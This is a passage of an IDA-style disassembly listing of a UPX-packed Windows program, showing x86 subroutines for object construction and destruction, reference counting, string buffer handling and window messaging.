; =============== S U B	R O U T	I N E =======================================



sub_404E64	proc near		; DATA XREF: UPX0:004241E8o

arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h

		push	[esp+arg_14]
		push	[esp+4+arg_10]
		push	[esp+8+arg_C]
		push	[esp+0Ch+arg_8]
		call	sub_401931
		retn	18h
sub_404E64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404E7C	proc near		; CODE XREF: sub_403418+20p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		mov	ecx, dword_42DEB0
		xor	eax, eax
		test	ecx, ecx
		jz	short loc_404E93
		cmp	dword_42DEB8, eax
		jnz	short loc_404EA1


loc_404E93:				; CODE XREF: sub_404E7C+Dj
		push	[ebp+arg_C]
		call	sub_401BB2
		mov	ecx, dword_42DEB0


loc_404EA1:				; CODE XREF: sub_404E7C+15j
		test	ecx, ecx
		jz	short loc_404EC0
		push	[ebp+arg_20]
		mov	eax, [ecx]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	ecx
		call	dword ptr [eax+2Ch]


loc_404EC0:				; CODE XREF: sub_404E7C+27j
		pop	ebp
		retn	24h
sub_404E7C	endp


; =============== S U B	R O U T	I N E =======================================



sub_404EC4	proc near		; CODE XREF: sub_4052ED+3p
		push	esi
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_423F04
		mov	dword ptr [esi+24h], offset off_423F1C
		mov	dword ptr [esi+28h], 0C0000001h
		mov	eax, [esi+48h]
		test	eax, eax
		jz	short loc_404EEC
		and	dword ptr [esi+48h], 0
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_404EEC:				; CODE XREF: sub_404EC4+1Cj
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_404EFA
		push	eax
		call	dword_41D304	; DestroyWindow


loc_404EFA:				; CODE XREF: sub_404EC4+2Dj
		mov	ecx, dword_42EE90
		mov	eax, [ecx]
		call	dword ptr [eax+8]
		push	esi
		call	sub_401E62
		pop	esi
		retn
sub_404EC4	endp


; =============== S U B	R O U T	I N E =======================================



sub_404F0D	proc near		; DATA XREF: UPX0:off_423F1Co

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		push	[esp+4+arg_4]
		mov	ebx, [esp+8+arg_8]
		add	eax, 0FFFFFFDCh
		push	eax
		mov	eax, offset off_423CAC
		call	sub_4015BD
		pop	ebx
		retn	0Ch
sub_404F0D	endp


; =============== S U B	R O U T	I N E =======================================



sub_404F2C	proc near		; CODE XREF: sub_405309+3p
		push	esi
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_423F5C
		mov	dword ptr [esi+24h], offset off_423F70
		mov	dword ptr [esi+28h], 0C0000001h
		mov	eax, [esi+48h]
		test	eax, eax
		jz	short loc_404F54
		and	dword ptr [esi+48h], 0
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_404F54:				; CODE XREF: sub_404F2C+1Cj
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_404F62
		push	eax
		call	dword_41D304	; DestroyWindow


loc_404F62:				; CODE XREF: sub_404F2C+2Dj
		mov	ecx, dword_42EE90
		mov	eax, [ecx]
		call	dword ptr [eax+8]
		push	esi
		call	sub_401E62
		pop	esi
		retn
sub_404F2C	endp


; =============== S U B	R O U T	I N E =======================================



sub_404F75	proc near		; DATA XREF: UPX0:00423F20o
					; UPX0:00423F74o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		push	eax
		call	dword_41D21C	; InterlockedIncrement
		retn	4
sub_404F75	endp


; =============== S U B	R O U T	I N E =======================================



sub_404F86	proc near		; DATA XREF: UPX0:00423F24o
					; UPX0:00423F78o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		lea	eax, [esi+4]
		push	eax
		call	dword_41D218	; InterlockedDecrement
		mov	edi, eax
		test	edi, edi
		jnz	short loc_404FAA
		lea	ecx, [esi-24h]
		test	ecx, ecx
		jz	short loc_404FAA
		mov	eax, [ecx]
		push	1
		call	dword ptr [eax+4]


loc_404FAA:				; CODE XREF: sub_404F86+14j
					; sub_404F86+1Bj
		mov	eax, edi
		pop	edi
		pop	esi
		retn	4
sub_404F86	endp


; =============== S U B	R O U T	I N E =======================================



sub_404FB1	proc near		; DATA XREF: UPX0:off_423F70o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		push	[esp+4+arg_4]
		mov	ebx, [esp+8+arg_8]
		add	eax, 0FFFFFFDCh
		push	eax
		mov	eax, offset off_423D04
		call	sub_4015BD
		pop	ebx
		retn	0Ch
sub_404FB1	endp


; =============== S U B	R O U T	I N E =======================================



sub_404FD0	proc near		; CODE XREF: sub_403FBF+35p
					; sub_4070E8+39p
		push	ebx
		xor	ebx, ebx
		mov	[esi+4], ebx
		push	edi
		mov	[esi+10h], ebx
		mov	[esi+0Ch], ebx
		mov	[esi+8], ebx
		mov	[esi+14h], ebx
		mov	[esi+18h], ebx
		lea	edx, [esi+1Ch]
		push	6
		xor	eax, eax
		pop	ecx
		mov	edi, edx
		rep stosd
		mov	[edx+18h], bl
		mov	dword ptr [esi], offset	off_423F98
		mov	ecx, dword_42EE90
		mov	eax, [ecx]
		call	dword ptr [eax+4]
		pop	edi
		mov	eax, esi
		pop	ebx
		retn
sub_404FD0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40500B	proc near		; CODE XREF: sub_405325+3p

; FUNCTION CHUNK AT 00406AD3 SIZE 00000054 BYTES

		push	esi
		mov	esi, ecx
		push	edi
		mov	dword ptr [esi], offset	off_423F98
		lea	edi, [esi+18h]
		mov	dword ptr [edi], 0C0000001h
		mov	ecx, dword_42EE90
		mov	eax, [ecx]
		call	dword ptr [eax+8]
		mov	eax, edi
		call	sub_404C88
		pop	edi
		mov	ecx, esi
		pop	esi
		jmp	loc_406AD3
sub_40500B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_405039	proc near		; DATA XREF: UPX0:00423F9Co

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 18h
		push	eax
		call	dword_41D21C	; InterlockedIncrement
		retn	4
sub_405039	endp


; =============== S U B	R O U T	I N E =======================================



sub_40504A	proc near		; DATA XREF: UPX0:00423FA0o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		lea	eax, [esi+18h]
		push	eax
		call	dword_41D218	; InterlockedDecrement
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40506D
		test	esi, esi
		jz	short loc_40506D
		mov	eax, [esi]
		push	1
		mov	ecx, esi
		call	dword ptr [eax+1Ch]


loc_40506D:				; CODE XREF: sub_40504A+14j
					; sub_40504A+18j
		mov	eax, edi
		pop	edi
		pop	esi
		retn	4
sub_40504A	endp


; =============== S U B	R O U T	I N E =======================================



sub_405074	proc near		; DATA XREF: UPX0:off_423F98o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	[esp+4+arg_4]
		mov	ebx, [esp+8+arg_8]
		push	[esp+8+arg_0]
		mov	eax, offset off_423EA4
		call	sub_4015BD
		pop	ebx
		retn	0Ch
sub_405074	endp


; =============== S U B	R O U T	I N E =======================================



sub_40508F	proc near		; DATA XREF: UPX0:00423FACo

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, [eax+8]
		mov	[eax+10h], ecx
		xor	eax, eax
		retn	4
sub_40508F	endp

; ---------------------------------------------------------------------------


loc_40509E:				; CODE XREF: UPX0:0041BFECj
					; UPX0:0041C039j
		push	dword ptr [esi]
		call	sub_401000
		and	dword ptr [esi], 0
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4050AA	proc near		; CODE XREF: sub_404675+19p
		push	10h
		mov	eax, offset loc_41C4F9
		call	sub_40C4A0
		mov	eax, [ebp+8]
		xor	esi, esi
		cmp	eax, esi
		jnz	short loc_4050C6
		mov	eax, 80004003h
		jmp	short loc_405130
; ---------------------------------------------------------------------------


loc_4050C6:				; CODE XREF: sub_4050AA+13j
		push	0F4h
		mov	[eax], esi
		mov	dword ptr [ebp-14h], 8007000Eh
		mov	[ebp-1Ch], esi
		mov	[ebp-4], esi
		call	sub_40B45F
		pop	ecx
		mov	[ebp-18h], eax
		mov	byte ptr [ebp-4], 1
		cmp	eax, esi
		jz	short loc_4050F3
		push	eax
		call	sub_4057F4
		mov	esi, eax


loc_4050F3:				; CODE XREF: sub_4050AA+3Fj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_405106
; ---------------------------------------------------------------------------


loc_4050F9:				; DATA XREF: UPX0:00427894o
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, offset loc_405103
		retn
; ---------------------------------------------------------------------------


loc_405103:				; DATA XREF: sub_4050AA+53o
		mov	esi, [ebp-1Ch]


loc_405106:				; CODE XREF: sub_4050AA+4Dj
		test	esi, esi
		jz	short loc_40512D
		push	dword ptr [ebp+8]
		inc	dword ptr [esi+4]
		dec	dword ptr [esi+4]
		mov	eax, [esi]
		push	offset dword_424264
		push	esi
		call	dword ptr [eax]
		mov	[ebp-14h], eax
		test	eax, eax
		jz	short loc_40512D
		mov	eax, [esi]
		push	1
		mov	ecx, esi
		call	dword ptr [eax+0Ch]


loc_40512D:				; CODE XREF: sub_4050AA+5Ej
					; sub_4050AA+78j
		mov	eax, [ebp-14h]


loc_405130:				; CODE XREF: sub_4050AA+1Aj
		call	sub_40C50C
		retn	4
sub_4050AA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_405138	proc near		; CODE XREF: sub_405CA8+1Fp
					; sub_406130+1Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	0
		mov	dword ptr [esi+18h], 0Fh
		call	sub_405A76
		push	[esp+4+arg_0]
		mov	ecx, esi
		call	sub_4054D8
		mov	eax, esi
		pop	esi
		retn	4
sub_405138	endp


; =============== S U B	R O U T	I N E =======================================



sub_40515A	proc near		; CODE XREF: sub_404A01+26p
					; sub_404B1F+2Bp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	0
		mov	dword ptr [esi+18h], 0Fh
		call	sub_405A76
		push	0FFFFFFFFh
		push	0
		push	[esp+0Ch+arg_0]
		mov	ecx, esi
		call	sub_405446
		mov	eax, esi
		pop	esi
		retn	4
sub_40515A	endp

; ---------------------------------------------------------------------------


loc_405180:				; CODE XREF: UPX0:0041BECFj
					; UPX0:0041C41Aj ...
		push	0
		push	1
		call	sub_4054FB
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40518A	proc near		; CODE XREF: sub_4098E0+4Ep
					; sub_4098E0+130p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, eax
		and	dword ptr [esi+14h], 0
		xor	eax, eax
		mov	dword ptr [esi+18h], 7
		mov	[esi+4], ax
		mov	eax, [esp+4+arg_0]
		call	sub_405546
		mov	eax, esi
		pop	esi
		retn	4
sub_40518A	endp

; ---------------------------------------------------------------------------


loc_4051AD:				; CODE XREF: UPX0:0041BFA6j
					; UPX0:0041BFC9j ...
		push	0
		push	1
		call	sub_4055BC
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4051B7	proc near		; CODE XREF: sub_418122+41p

var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= byte ptr -60h
var_48		= byte ptr -48h
var_28		= byte ptr -28h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		and	esp, 0FFFFFFF8h
		push	0FFFFFFFFh
		push	offset loc_41C4D4
		mov	eax, large fs:0
		push	eax
		sub	esp, 64h
		push	esi
		push	edi
		mov	eax, dword_42A034
		xor	eax, esp
		push	eax
		lea	eax, [esp+7Ch+var_C]
		mov	large fs:0, eax
		push	[ebp+arg_0]
		mov	eax, ebx
		call	sub_405DF5
		mov	[esp+7Ch+var_6C], eax
		test	ebx, ebx
		jnz	short loc_4051F9
		call	sub_40B27B


loc_4051F9:				; CODE XREF: sub_4051B7+3Bj
		mov	eax, [ebx]
		mov	ecx, [ebx+18h]
		lea	edi, [esp+7Ch+var_68]
		lea	esi, [esp+7Ch+var_70]
		mov	[esp+7Ch+var_70], eax
		mov	[esp+7Ch+var_64], ecx
		mov	[esp+7Ch+var_68], eax
		call	sub_4052D2
		test	al, al
		jnz	short loc_40522E
		mov	eax, [esp+7Ch+var_6C]
		mov	ecx, [ebp+arg_0]
		add	eax, 10h
		call	sub_406F5E
		test	al, al
		jz	short loc_40528A


loc_40522E:				; CODE XREF: sub_4051B7+62j
		push	6
		pop	ecx
		push	[ebp+arg_0]
		xor	eax, eax
		lea	edi, [esp+80h+var_60]
		lea	esi, [esp+80h+var_48]
		rep stosd
		call	sub_405AF0
		push	6
		pop	ecx
		lea	esi, [esp+7Ch+var_60]
		lea	edi, [esp+7Ch+var_28]
		rep movsd
		and	[esp+7Ch+var_4], 0
		push	[esp+7Ch+var_6C]
		lea	eax, [esp+80h+var_48]
		push	[esp+80h+var_70]
		push	eax
		lea	eax, [esp+88h+var_68]
		push	eax
		mov	eax, ebx
		call	sub_405603
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	0
		push	1
		lea	esi, [esp+84h+var_48]
		mov	[esp+84h+var_70], ecx
		mov	[esp+84h+var_6C], eax
		call	sub_4055BC


loc_40528A:				; CODE XREF: sub_4051B7+75j
		lea	esi, [esp+7Ch+var_70]
		call	sub_4057C9
		add	eax, 20h
		mov	ecx, [esp+7Ch+var_C]
		mov	large fs:0, ecx
		pop	ecx
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	4
sub_4051B7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4052AA	proc near		; CODE XREF: sub_404B59+29p
					; sub_404C11j
		push	0
		mov	eax, offset loc_41C4B1
		call	sub_40C46D
		mov	esi, [ebp+8]
		and	dword ptr [ebp-4], 0
		call	sub_405795
		push	dword ptr [esi]
		call	sub_40AC11
		pop	ecx
		call	sub_40C50C
		retn	4
sub_4052AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4052D2	proc near		; CODE XREF: sub_4051B7+5Bp
					; sub_405603+45p ...
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4052DC
		cmp	eax, [edi]
		jz	short loc_4052E1


loc_4052DC:				; CODE XREF: sub_4052D2+4j
		call	sub_40B27B


loc_4052E1:				; CODE XREF: sub_4052D2+8j
		mov	eax, [esi+4]
		sub	eax, [edi+4]
		neg	eax
		sbb	eax, eax
		inc	eax
		retn
sub_4052D2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4052ED	proc near		; DATA XREF: UPX0:00423F08o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_404EC4
		test	[esp+4+arg_0], 1
		jz	short loc_405303
		push	esi
		call	sub_40AC11
		pop	ecx


loc_405303:				; CODE XREF: sub_4052ED+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_4052ED	endp


; =============== S U B	R O U T	I N E =======================================



sub_405309	proc near		; DATA XREF: UPX0:00423F60o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_404F2C
		test	[esp+4+arg_0], 1
		jz	short loc_40531F
		push	esi
		call	sub_40AC11
		pop	ecx


loc_40531F:				; CODE XREF: sub_405309+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_405309	endp


; =============== S U B	R O U T	I N E =======================================



sub_405325	proc near		; DATA XREF: UPX0:00423FB4o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_40500B
		test	[esp+4+arg_0], 1
		jz	short loc_40533B
		push	esi
		call	sub_40AC11
		pop	ecx


loc_40533B:				; CODE XREF: sub_405325+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_405325	endp

; ---------------------------------------------------------------------------


loc_405341:				; CODE XREF: UPX0:0041C0F5j
					; UPX0:0041C4ACj
		push	dword ptr [eax]
		call	sub_40AC11
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40534A	proc near		; CODE XREF: sub_41889D+13Dp
		push	8
		mov	eax, offset loc_41C630
		call	sub_40C46D
		mov	esi, ecx
		and	dword ptr [ebp-10h], 0
		and	dword ptr [ebp-4], 0
		push	esi
		lea	ebx, [ebp-10h]
		call	sub_4053D6
		xor	ebx, ebx
		cmp	eax, ebx
		jge	short loc_405389
		mov	esi, [esi]
		push	ebx
		push	ebx
		push	esi
		push	dword ptr [ebp+8]
		call	sub_404675
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	esi, eax
		mov	eax, [ebp-10h]
		test	eax, eax
		jmp	short loc_4053C4
; ---------------------------------------------------------------------------


loc_405389:				; CODE XREF: sub_40534A+23j
		mov	[ebp-14h], ebx
		push	ebx
		push	offset dword_41D440
		lea	edx, [ebp-14h]
		push	edx
		push	ebx
		mov	byte ptr [ebp-4], 1
		push	dword ptr [esi]
		mov	eax, [ebp-10h]
		push	dword ptr [ebp+8]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+10h]
		mov	esi, eax
		mov	[ebp-4], bl
		mov	eax, [ebp-14h]
		cmp	eax, ebx
		jz	short loc_4053BB
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_4053BB:				; CODE XREF: sub_40534A+69j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, [ebp-10h]
		cmp	eax, ebx


loc_4053C4:				; CODE XREF: sub_40534A+3Dj
		jz	short loc_4053CC
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_4053CC:				; CODE XREF: sub_40534A:loc_4053C4j
		mov	eax, esi
		call	sub_40C50C
		retn	4
sub_40534A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4053D6	proc near		; CODE XREF: sub_40534A+1Ap
					; sub_41889D+86p
		push	0
		mov	eax, offset loc_41BF38
		call	sub_40C46D
		xor	ecx, ecx
		cmp	ebx, ecx
		jnz	short loc_4053EF
		mov	eax, 80004003h
		jmp	short loc_40543E
; ---------------------------------------------------------------------------


loc_4053EF:				; CODE XREF: sub_4053D6+10j
		mov	[ebx], ecx
		push	ecx
		mov	[ebp-4], ecx
		mov	eax, [ebp+8]
		mov	eax, [eax]
		push	ecx
		push	dword_42EEA8
		push	eax
		call	dword_41D288	; SendMessageW
		mov	edi, eax
		mov	esi, edi
		neg	esi
		sbb	esi, esi
		and	esi, 7FFFBFFBh
		add	esi, 80004005h
		mov	[ebp+8], edi
		js	short loc_40542E
		mov	eax, [edi]
		push	ebx
		push	offset dword_423C0C
		push	edi
		call	dword ptr [eax]
		mov	esi, eax


loc_40542E:				; CODE XREF: sub_4053D6+49j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		test	edi, edi
		jz	short loc_40543C
		mov	eax, [edi]
		push	edi
		call	dword ptr [eax+8]


loc_40543C:				; CODE XREF: sub_4053D6+5Ej
		mov	eax, esi


loc_40543E:				; CODE XREF: sub_4053D6+17j
		call	sub_40C50C
		retn	4
sub_4053D6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405446	proc near		; CODE XREF: sub_40515A+1Bp
					; sub_405995+2Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	ebx, ecx
		cmp	[edi+14h], eax
		jnb	short loc_40545E
		call	sub_40ABCE


loc_40545E:				; CODE XREF: sub_405446+11j
		mov	esi, [edi+14h]
		mov	eax, [ebp+arg_4]
		sub	esi, eax
		cmp	[ebp+arg_8], esi
		jnb	short loc_40546E
		mov	esi, [ebp+arg_8]


loc_40546E:				; CODE XREF: sub_405446+23j
		mov	ecx, ebx
		cmp	ebx, edi
		jnz	short loc_40548C
		push	0FFFFFFFFh
		add	esi, eax
		push	esi
		call	sub_405A07
		push	[ebp+arg_4]
		mov	ecx, ebx
		push	0
		call	sub_405A07
		jmp	short loc_4054CF
; ---------------------------------------------------------------------------


loc_40548C:				; CODE XREF: sub_405446+2Cj
		push	0
		push	esi
		call	sub_405A92
		test	al, al
		jz	short loc_4054CF
		cmp	dword ptr [edi+18h], 10h
		jb	short loc_4054A3
		mov	edi, [edi+4]
		jmp	short loc_4054A6
; ---------------------------------------------------------------------------


loc_4054A3:				; CODE XREF: sub_405446+56j
		add	edi, 4


loc_4054A6:				; CODE XREF: sub_405446+5Bj
		mov	ecx, [ebx+18h]
		cmp	ecx, 10h
		jb	short loc_4054B3
		mov	eax, [ebx+4]
		jmp	short loc_4054B6
; ---------------------------------------------------------------------------


loc_4054B3:				; CODE XREF: sub_405446+66j
		lea	eax, [ebx+4]


loc_4054B6:				; CODE XREF: sub_405446+6Bj
		mov	edx, [ebp+arg_4]
		push	esi
		add	edi, edx
		push	edi
		push	ecx
		push	eax
		call	sub_4049C9
		add	esp, 10h
		push	esi
		mov	ecx, ebx
		call	sub_405A76


loc_4054CF:				; CODE XREF: sub_405446+44j
					; sub_405446+50j
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		pop	ebp
		retn	0Ch
sub_405446	endp


; =============== S U B	R O U T	I N E =======================================



sub_4054D8	proc near		; CODE XREF: sub_405138+17p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		lea	edx, [eax+1]


loc_4054E2:				; CODE XREF: sub_4054D8+Fj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_4054E2
		sub	eax, edx
		push	eax
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_405995
		pop	esi
		retn	4
sub_4054D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4054FB	proc near		; CODE XREF: sub_404A36+10p
					; UPX0:00405184p ...

arg_0		= byte ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_405530
		cmp	dword ptr [esi+18h], 10h
		jb	short loc_405530
		cmp	[esp+4+arg_4], 0
		lea	eax, [esi+4]
		push	edi
		mov	edi, [eax]
		jbe	short loc_405528
		push	[esp+8+arg_4]
		push	edi
		push	10h
		push	eax
		call	sub_4049C9
		add	esp, 10h


loc_405528:				; CODE XREF: sub_4054FB+1Bj
		push	edi
		call	sub_40AC11
		pop	ecx
		pop	edi


loc_405530:				; CODE XREF: sub_4054FB+8j
					; sub_4054FB+Ej
		push	[esp+4+arg_4]
		mov	ecx, esi
		mov	dword ptr [esi+18h], 0Fh
		call	sub_405A76
		pop	esi
		retn	8
sub_4054FB	endp


; =============== S U B	R O U T	I N E =======================================



sub_405546	proc near		; CODE XREF: sub_40518A+18p
		push	ebx
		push	edi
		mov	ebx, eax
		lea	ecx, [eax+2]


loc_40554D:				; CODE XREF: sub_405546+Fj
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_40554D
		sub	eax, ecx
		sar	eax, 1
		push	ebx
		mov	ecx, esi
		mov	edi, eax
		call	sub_4060F4
		test	al, al
		jz	short loc_405586
		cmp	dword ptr [esi+18h], 8
		jb	short loc_405574
		mov	eax, [esi+4]
		jmp	short loc_405577
; ---------------------------------------------------------------------------


loc_405574:				; CODE XREF: sub_405546+27j
		lea	eax, [esi+4]


loc_405577:				; CODE XREF: sub_405546+2Cj
		sub	ebx, eax
		push	edi
		sar	ebx, 1
		push	esi
		mov	eax, esi
		call	sub_406028
		jmp	short loc_4055B9
; ---------------------------------------------------------------------------


loc_405586:				; CODE XREF: sub_405546+21j
		mov	eax, esi
		call	sub_4060AE
		test	al, al
		jz	short loc_4055B7
		mov	ecx, [esi+18h]
		cmp	ecx, 8
		jb	short loc_40559E
		mov	eax, [esi+4]
		jmp	short loc_4055A1
; ---------------------------------------------------------------------------


loc_40559E:				; CODE XREF: sub_405546+51j
		lea	eax, [esi+4]


loc_4055A1:				; CODE XREF: sub_405546+56j
		push	ebx
		push	ecx
		push	eax
		mov	eax, edi
		call	sub_406F3F
		add	esp, 0Ch
		mov	ecx, edi
		mov	eax, esi
		call	sub_405B16


loc_4055B7:				; CODE XREF: sub_405546+49j
		mov	eax, esi


loc_4055B9:				; CODE XREF: sub_405546+3Ej
		pop	edi
		pop	ebx
		retn
sub_405546	endp


; =============== S U B	R O U T	I N E =======================================



sub_4055BC	proc near		; CODE XREF: UPX0:004051B1p
					; sub_4051B7+CEp ...

arg_0		= byte ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		jz	short loc_4055EE
		cmp	dword ptr [esi+18h], 8
		jb	short loc_4055EE
		cmp	[esp+arg_4], 0
		lea	eax, [esi+4]
		push	edi
		mov	edi, [eax]
		jbe	short loc_4055E6
		push	edi
		push	8
		push	eax
		mov	eax, [esp+10h+arg_4]
		call	sub_406F3F
		add	esp, 0Ch


loc_4055E6:				; CODE XREF: sub_4055BC+18j
		push	edi
		call	sub_40AC11
		pop	ecx
		pop	edi


loc_4055EE:				; CODE XREF: sub_4055BC+5j
					; sub_4055BC+Bj
		mov	ecx, [esp+arg_4]
		mov	eax, esi
		mov	dword ptr [esi+18h], 7
		call	sub_405B16
		retn	8
sub_4055BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405603	proc near		; CODE XREF: sub_4051B7+B4p

var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		mov	ebx, eax
		xor	eax, eax
		push	esi
		push	edi
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		cmp	[ebx+1Ch], eax
		jnz	short loc_405635
		mov	ecx, [ebx+18h]


loc_40561E:				; CODE XREF: sub_405603+67j
		push	[ebp+arg_4]
		push	1


loc_405623:				; CODE XREF: sub_405603+A7j
		mov	esi, ebx


loc_405625:				; CODE XREF: sub_405603+F6j
					; sub_405603+100j ...
		push	[ebp+arg_0]
		call	sub_405CA8
		mov	eax, [ebp+arg_0]
		jmp	loc_40578E
; ---------------------------------------------------------------------------


loc_405635:				; CODE XREF: sub_405603+16j
		mov	eax, [ebx+18h]
		mov	eax, [eax]
		mov	[ebp+var_C], eax
		mov	eax, [ebx]
		lea	edi, [ebp+var_10]
		lea	esi, [ebp+arg_8]
		mov	[ebp+var_10], eax
		call	sub_4052D2
		test	al, al
		jz	short loc_40566C
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+arg_4]
		add	eax, 10h
		call	sub_406F5E
		test	al, al
		jz	loc_405773
		mov	ecx, [ebp+arg_C]
		jmp	short loc_40561E
; ---------------------------------------------------------------------------


loc_40566C:				; CODE XREF: sub_405603+4Cj
		mov	eax, [ebx+18h]
		mov	[ebp+var_C], eax
		mov	eax, [ebx]
		lea	edi, [ebp+var_10]
		lea	esi, [ebp+arg_8]
		mov	[ebp+var_10], eax
		call	sub_4052D2
		test	al, al
		jz	short loc_4056AF
		mov	eax, [ebx+18h]
		mov	ecx, [eax+8]
		mov	eax, [ebp+arg_4]
		add	ecx, 10h
		call	sub_406F5E
		test	al, al
		jz	loc_405773
		push	[ebp+arg_4]
		mov	eax, [ebx+18h]
		mov	ecx, [eax+8]
		push	0
		jmp	loc_405623
; ---------------------------------------------------------------------------


loc_4056AF:				; CODE XREF: sub_405603+81j
		mov	eax, [ebp+arg_C]
		mov	edi, [ebp+arg_4]
		add	eax, 10h
		mov	ecx, edi
		call	sub_406F5E
		test	al, al
		jz	short loc_405708
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_C]
		lea	esi, [ebp+var_8]
		mov	[ebp+var_4], eax
		call	sub_405E74
		mov	eax, [eax+4]
		lea	ecx, [eax+10h]
		mov	eax, edi
		call	sub_406F5E
		test	al, al
		jz	short loc_405708
		mov	ecx, [ebp+var_4]
		mov	eax, [ecx+8]
		cmp	byte ptr [eax+49h], 0
		push	edi
		mov	esi, ebx
		jz	short loc_4056FE


loc_4056F7:				; CODE XREF: sub_405603+164j
		push	0
		jmp	loc_405625
; ---------------------------------------------------------------------------


loc_4056FE:				; CODE XREF: sub_405603+F2j
		mov	ecx, [ebp+arg_C]
		push	1
		jmp	loc_405625
; ---------------------------------------------------------------------------


loc_405708:				; CODE XREF: sub_405603+BEj
					; sub_405603+E3j
		mov	ecx, [ebp+arg_C]
		add	ecx, 10h
		mov	eax, edi
		call	sub_406F5E
		test	al, al
		jz	short loc_405773
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_4], eax
		mov	eax, [ebx+18h]
		mov	[ebp+var_C], eax
